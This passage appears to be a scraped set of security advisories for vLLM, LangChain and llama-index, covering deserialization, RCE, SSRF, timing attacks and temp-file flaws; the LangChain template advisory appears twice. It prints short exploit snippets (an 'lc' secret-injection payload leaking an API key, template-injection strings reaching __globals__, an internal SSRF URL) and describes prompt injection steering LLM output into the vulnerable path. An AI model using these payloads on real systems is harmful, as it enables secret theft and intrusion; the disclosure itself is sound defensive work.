vLLM's pending change attempts to fix the root cause, which is the missing sparse tensor validation. PyTorch (~v2.0) disables sparse tensor validation (specifically, sparse tensor invariants checks) by default for performance reasons. vLLM is adding the sparse tensor validation to ensure indices are valid, non-negative, and within bounds. These checks help catch malformed tensors.
PoC
NA
Impact
Current fix only added a flag to disable/enable prompt embeds, so by default, prompt embeds feature is disabled in vLLM, which stops DoS attacks through the embeddings. However, It doesn’t address the problem when the flag is enabled and there is still potential for DoS attacks.
Changes
https://github.com/vllm-project/vllm/pull/30649
OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →LangChain serialization injection vulnerability enables secret extraction in dumps/loads APIs
Summary
A serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.
Attack surface
The core vulnerability was in dumps() and dumpd(): these functions failed to escape user-controlled dictionaries containing 'lc' keys. When this unescaped data was later deserialized via load() or loads(), the injected structures were treated as legitimate LangChain objects rather than plain user data.
This escaping bug enabled several attack vectors:
1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additional_kwargs, or response_metadata
2. Class instantiation within trusted namespaces: Injected manifests could instantiate any Serializable subclass, but only within the pre-approved trusted namespaces (langchain_core, langchain, langchain_community). This includes classes with side effects in __init__ (network calls, file operations, etc.). Note that namespace validation was already enforced before this patch, so arbitrary classes outside these trusted namespaces could not be instantiated.
Security hardening
This patch fixes the escaping bug in dumps() and dumpd() and introduces new restrictive defaults in load() and loads(): allowlist enforcement via allowed_objects="core" (restricted to serialization mappings), secrets_from_env changed from True to False, and default Jinja2 template blocking via init_validator. These are breaking changes for some use cases.
Who is affected?
Applications are vulnerable if they:
1. Use astream_events(version="v1") — The v1 implementation internally uses vulnerable serialization. Note: astream_events(version="v2") is not vulnerable.
2. Use Runnable.astream_log() — This method internally uses vulnerable serialization for streaming outputs.
3. Call dumps() or dumpd() on untrusted data, then deserialize with load() or loads() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures.
4. Deserialize untrusted data with load() or loads() — Directly deserializing untrusted data that may contain injected 'lc' structures.
5. Use RunnableWithMessageHistory — Internal serialization in message history handling.
6. Use InMemoryVectorStore.load() to deserialize untrusted documents.
7. Load untrusted generations from cache using langchain-community caches.
8. Load untrusted manifests from the LangChain Hub via hub.pull.
9. Use StringRunEvaluatorChain on untrusted runs.
10. Use create_lc_store or create_kv_docstore with untrusted documents.
11. Use MultiVectorRetriever with byte stores containing untrusted documents.
12. Use LangSmithRunChatLoader with runs containing untrusted messages.
The most common attack vector is through LLM response fields like additional_kwargs or response_metadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.
Impact
Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENV_VAR"]} to load environment variables during deserialization (when secrets_from_env=True, which was the old default). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within trusted namespaces with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.
Key severity factors:
Affects the serialization path - applications trusting their own serialization output are vulnerable
Enables secret extraction when combined with secrets_from_env=True (the old default)
LLM responses in additional_kwargs can be controlled via prompt injection
Exploit example
``python
from langchain_core.load import dumps, load
import os
Attacker injects secret structure into user-controlled data
attacker_dict = {
"user_data": {
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
}
serialized = dumps(attacker_dict) # Bug: does NOT escape the 'lc' key
os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345"
deserialized = load(serialized, secrets_from_env=True)
print(deserialized["user_data"]) # "sk-secret-key-12345" - SECRET LEAKED!
`
Security hardening changes (breaking changes)
This patch introduces three breaking changes to load() and loads():
1. New allowed_objects parameter (defaults to 'core'): Enforces allowlist of classes that can be deserialized. The 'all' option corresponds to the list of objects specified in mappings.py while the 'core' option limits to objects within langchain_core. We recommend that users explicitly specify which objects they want to allow for serialization/deserialization.
2. secrets_from_env default changed from True to False: Disables automatic secret loading from environment
3. New init_validator parameter (defaults to default_init_validator): Blocks Jinja2 templates by default
Migration guide
No changes needed for most users
If you're deserializing standard LangChain types (messages, documents, prompts, trusted partner integrations like ChatOpenAI, ChatAnthropic, etc.), your code will work without changes:
`python
from langchain_core.load import load
Uses default allowlist from serialization mappings
obj = load(serialized_data)
`
For custom classes
If you're deserializing custom classes not in the serialization mappings, add them to the allowlist:
`python
from langchain_core.load import load
from my_package import MyCustomClass
Specify the classes you need
obj = load(serialized_data, allowed_objects=[MyCustomClass])
`
For Jinja2 templates
Jinja2 templates are now blocked by default because they can execute arbitrary code. If you need Jinja2 templates, pass init_validator=None:
`python
from langchain_core.load import load
from langchain_core.prompts import PromptTemplate
obj = load(
serialized_data,
allowed_objects=[PromptTemplate],
init_validator=None
)
`
> [!WARNING]
> Only disable init_validator if you trust the serialized data. Jinja2 templates can execute arbitrary Python code.
For secrets from environment
secrets_from_env now defaults to False. If you need to load secrets from environment variables:
`python
from langchain_core.load import load
obj = load(serialized_data, secrets_from_env=True)
``
Credits
Dumps bug was reported by @yardenporat
Changes for security hardening due to findings from @0xn3va and @VladimirEliTokarev
vLLM vulnerable to remote code execution via transformers_utils/get_config
Summary
vllm has a critical remote code execution vector in a config class named Nemotron_Nano_VL_Config. When vllm loads a model config that contains an auto_map entry, the config class resolves that mapping with get_class_from_dynamic_module(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the auto_map string. Crucially, this happens even when the caller explicitly sets trust_remote_code=False in vllm.transformers_utils.config.get_config. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via auto_map to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host.
Details
The vulnerable code resolves and instantiates classes from auto_map entries without checking whether those entries point to a different repo or whether remote code execution is allowed.
``python
class Nemotron_Nano_VL_Config(PretrainedConfig):
model_type = 'Llama_Nemotron_Nano_VL'
def __init__(self, kwargs):
super().__init__(kwargs)
if vision_config is not None:
assert "auto_map" in vision_config and "AutoConfig" in vision_config["auto_map"]
# <-- vulnerable dynamic resolution + instantiation happens here
vision_auto_config = get_class_from_dynamic_module(vision_config["auto_map"]["AutoConfig"].split("--")[::-1])
self.vision_config = vision_auto_config(vision_config)
else:
self.vision_config = PretrainedConfig()
`
get_class_from_dynamic_module(...) is capable of fetching and importing code from the Hugging Face repo specified in the mapping. trust_remote_code is not enforced for this code path. As a result, a frontend repo can redirect the loader to any backend repo and cause code execution, bypassing the trust_remote_code guard.
Impact
This is a critical vulnerability because it breaks the documented trust_remote_code safety boundary in a core model-loading utility. The vulnerable code lives in a common loading path, so any application, service, CI job, or developer machine that uses vllm`’s transformer utilities to load configs can be affected. The attack requires only two repos and no user interaction beyond loading the frontend model. A successful exploit can execute arbitrary commands on the host.
Fixes
https://github.com/vllm-project/vllm/pull/28126
vLLM deserialization vulnerability leading to DoS and potential RCE
Summary
A memory corruption vulnerability that leading to a crash (denial-of-service) and potentially remote code execution (RCE) exists in vLLM versions 0.10.2 and later, in the Completions API endpoint. When processing user-supplied prompt embeddings, the endpoint loads serialized tensors using torch.load() without sufficient validation.
Due to a change introduced in PyTorch 2.8.0, sparse tensor integrity checks are disabled by default. As a result, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the call to to_dense(). This memory corruption can crash vLLM and potentially lead to code execution on the server hosting vLLM.
Details
A vulnerability that can lead to RCE from the completions API endpoint exists in vllm, where due to missing checks when loading user-provided tensors, an out-of-bounds write can be triggered. This happens because the default behavior of torch.load(tensor, weights_only=True) since pytorch 2.8.0 is to not perform validity checks for sparse tensors, and this needs to be enabled explicitly using the torch.sparse.check_sparse_tensor_invariants context manager.
The vulnerability is in the following code in vllm/entrypoints/renderer.py:148
``python
def _load_and_validate_embed(embed: bytes) -> EngineEmbedsPrompt:
tensor = torch.load(
io.BytesIO(pybase64.b64decode(embed, validate=True)),
weights_only=True,
map_location=torch.device("cpu"),
)
assert isinstance(tensor, torch.Tensor) and tensor.dtype in (
torch.float32,
torch.bfloat16,
torch.float16,
)
tensor = tensor.to_dense()
`
Because of the missing checks, loading invalid prompt embedding tensors provided by the user can cause an out-of-bounds write in the call to to_dense` .
Impact
All users with access to this API are able to exploit this vulnerability. Unsafe deserialization of untrusted input can be abused to achieve DoS and potentially remote code execution (RCE) in the vLLM server process. This impacts deployments running vLLM as a server or any instance that deserializes untrusted/model-provided payloads.
Fix
https://github.com/vllm-project/vllm/pull/27204
Acknowledgements
Finder: AXION Security Research Team (Omri Fainaro, Bary Levy): discovery and coordinated disclosure.
OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →LangChain Vulnerable to Template Injection via Attribute Access in Prompt Templates
Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-core package
Template formats:
F-string templates (template_format="f-string") - Vulnerability fixed
Mustache templates (template_format="mustache") - Defensive hardening
Jinja2 templates (template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
Access Python object attributes and internal properties via attribute traversal
Extract sensitive information from object internals (e.g., __class__, __globals__)
Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
``python
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
Previously returned
>>> result.messages[0].content
>>> 'str'
`
2. Mustache Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
Previously returned: "HumanMessage" (getattr() exposed internals)
`
3. Jinja2 Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
Could access non-dunder attributes/methods on objects
`
Root Cause
1. F-string templates: The implementation used Python's string.Formatter().parse() to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:
`python
from string import Formatter
template = "{msg.__class__} and {x}"
print([var_name for (_, var_name, _, _) in Formatter().parse(template)])
# Returns: ['msg.__class__', 'x']
`
The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., {obj.__class__.__name__} or {obj.method.__globals__[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with (), they do support [] indexing, which could allow traversal through dictionaries like __globals__ to reach sensitive objects.
2. Mustache templates: By design, used getattr() as a fallback to support accessing attributes on objects (e.g., {{user.name}} on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects
3. Jinja2 templates: Jinja2's default SandboxedEnvironment blocks dunder attributes (e.g., __class__) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects
passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application:
Accepts template strings from untrusted sources (user input, external APIs, databases)
Dynamically constructs prompt templates based on user-provided patterns
Allows users to customize or create prompt templates
Example vulnerable code:
`python
User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
`
Low/No Risk Scenarios
You are NOT affected if:
Template strings are hardcoded in your application code
Template strings come only from trusted, controlled sources
Users can only provide values for template variables, not the template structure itself
Example safe code:
`python
Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
`
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
Added validation to enforce that variable names must be valid Python identifiers
Rejects syntax like {obj.attr}, {obj[0]}, or {obj.__class__}
Only allows simple variable names: {variable_name}
`python
After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
`
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
Replaced getattr() fallback with strict type checking
Only allows traversal into dict, list, and tuple types
Blocks attribute access on arbitrary Python objects
`python
After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
Returns: "" (access blocked)
`
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
Introduced _RestrictedSandboxedEnvironment that blocks ALL attribute/method access
Only allows simple variable lookups from the context dictionary
Raises SecurityError on any attribute access attempt
`python
After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
Raises SecurityError: Access to attributes is not allowed
`
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
1. Audit your code for any locations where template strings come from untrusted sources
2. Update to the patched version of langchain-core
3. Review template usage to ensure separation between template structure and user data
Best Practices
Consider if you need templates at all - Many applications can work directly with message objects (HumanMessage, AIMessage, etc.) without templates## Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-core package
Template formats:
F-string templates (template_format="f-string") - Vulnerability fixed
Mustache templates (template_format="mustache") - Defensive hardening
Jinja2 templates (template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
Access Python object attributes and internal properties via attribute traversal
Extract sensitive information from object internals (e.g., __class__, __globals__)
Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
Previously returned
>>> result.messages[0].content
>>> 'str'
`
2. Mustache Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
Previously returned: "HumanMessage" (getattr() exposed internals)
`
3. Jinja2 Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
Could access non-dunder attributes/methods on objects
`
Root Cause
1. F-string templates: The implementation used Python's string.Formatter().parse() to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:
`python
from string import Formatter
template = "{msg.__class__} and {x}"
print([var_name for (_, var_name, _, _) in Formatter().parse(template)])
# Returns: ['msg.__class__', 'x']
`
The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., {obj.__class__.__name__} or {obj.method.__globals__[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with (), they do support [] indexing, which could allow traversal through dictionaries like __globals__ to reach sensitive objects.
2. Mustache templates: By design, used getattr() as a fallback to support accessing attributes on objects (e.g., {{user.name}} on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects
3. Jinja2 templates: Jinja2's default SandboxedEnvironment blocks dunder attributes (e.g., __class__) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects
passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application:
Accepts template strings from untrusted sources (user input, external APIs, databases)
Dynamically constructs prompt templates based on user-provided patterns
Allows users to customize or create prompt templates
Example vulnerable code:
`python
User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
`
Low/No Risk Scenarios
You are NOT affected if:
Template strings are hardcoded in your application code
Template strings come only from trusted, controlled sources
Users can only provide values for template variables, not the template structure itself
Example safe code:
`python
Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
`
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
Added validation to enforce that variable names must be valid Python identifiers
Rejects syntax like {obj.attr}, {obj[0]}, or {obj.__class__}
Only allows simple variable names: {variable_name}
`python
After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
`
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
Replaced getattr() fallback with strict type checking
Only allows traversal into dict, list, and tuple types
Blocks attribute access on arbitrary Python objects
`python
After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
Returns: "" (access blocked)
`
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
Introduced _RestrictedSandboxedEnvironment that blocks ALL attribute/method access
Only allows simple variable lookups from the context dictionary
Raises SecurityError on any attribute access attempt
`python
After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
Raises SecurityError: Access to attributes is not allowed
`
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
1. Audit your code for any locations where template strings come from untrusted sources
2. Update to the patched version of langchain-core
3. Review template usage to ensure separation between template structure and user data
Best Practices
Consider if you need templates at all - Many applications can work directly with message objects (HumanMessage, AIMessage, etc.) without templates
Reserve Jinja2 for trusted sources - Only use Jinja2 templates when you fully control the template content
Update: Jinja2 Restrictions Reverted
The Jinja2 hardening introduced in the initial patch has been reverted as of langchain-core` 1.1.3. The restriction was not addressing a direct vulnerability but was part of broader defensive hardening. In practice, it significantly limited legitimate Jinja2 usage and broke existing templates. Since Jinja2 is intended to be used only with trusted template sources, the original behavior has been restored. Users should continue to avoid accepting untrusted template strings when using Jinja2, but no security issue exists with trusted templates.
llama-index has Insecure Temporary File
The llama_index library version 0.12.33 sets the NLTK data directory to a subdirectory of the codebase by default, which is world-writable in multi-user environments. This configuration allows local users to overwrite, delete, or corrupt NLTK data files, leading to potential denial of service, data tampering, or privilege escalation. The vulnerability arises from the use of a shared cache directory instead of a user-specific one, making it susceptible to local data tampering and denial of service.
vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Vulnerability Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
https://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113
The function directly processes URLs with http, https, and file schemes. An attacker can supply a URL pointing to an internal IP address or a localhost endpoint. The vLLM server will then initiate a connection to this internal resource.
HTTP/HTTPS Scheme: An attacker can craft a request like {"image_url": "http://127.0.0.1:8080/internal_api"}. The vLLM server will send a GET request to this internal endpoint.
File Scheme: The _load_file_url method attempts to restrict file access to a subdirectory defined by --allowed-local-media-path. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.
Impact in llm-d Environments
The risk is significantly amplified in orchestrated environments such as llm-d, where multiple pods communicate over an internal network.
1. Denial of Service (DoS): An attacker could target internal management endpoints of other services within the llm-d cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.
2. Internal Network Reconnaissance: Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like http://10.0.0.X:PORT and observing the server's response time or error messages.
3. Interaction with Internal Services: Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.
Delegating this security responsibility to an upper-level orchestrator like llm-d is problematic. The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.
Fix
See the --allowed-media-domains option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls
vLLM is vulnerable to timing attack at bearer auth
Summary
The API key support in vLLM performed validation using a method that was vulnerable to a timing attack. This could potentially allow an attacker to discover a valid API key using an approach more efficient than brute force.
Details
https://github.com/vllm-project/vllm/blob/4b946d693e0af15740e9ca9c0e059d5f333b1083/vllm/entrypoints/openai/api_server.py#L1270-L1274
API key validation used a string comparison that will take longer the more characters the provided API key gets correct. Data analysis across many attempts can allow an attacker to determine when it finds the next correct character in the key sequence.
Impact
Deployments relying on vLLM's built-in API key validation are vulnerable to authentication bypass using this technique.
llama-index-core insecurely handles temporary files
The llama-index-core package, up to version 0.12.44, contains a vulnerability in the get_cache_dir() function where a predictable, hardcoded directory path /tmp/llama_index is used on Linux systems without proper security controls. This vulnerability allows attackers on multi-user systems to steal proprietary models, poison cached embeddings, or conduct symlink attacks. The issue affects all Linux deployments where multiple users share the same system. The vulnerability is classified under CWE-379, CWE-377, and CWE-367, indicating insecure temporary file creation and potential race conditions.